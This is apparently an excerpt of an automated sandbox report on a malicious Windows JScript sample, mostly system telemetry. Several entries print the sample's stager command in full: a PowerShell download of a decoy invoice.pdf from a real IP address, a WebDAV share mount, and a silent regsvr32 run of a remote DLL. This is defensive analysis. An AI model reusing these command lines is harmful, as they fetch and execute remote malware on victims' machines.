Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9501.js.csv");ITextStream.WriteLine(" entry:7680 f:noqikln");ITextStream.WriteLine(" exec:2 f:noqikln");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4363			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5025			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1840	Thread sleep count: 4363 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5824	Thread sleep count: 5025 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6652	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3404	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3684	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5568	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1517567264.000001DC19490000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1522937037.000001DC19430000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2745039962.000001B20665A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2743644969.000001B20102B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\112811330720057.dll	Jump to behavior
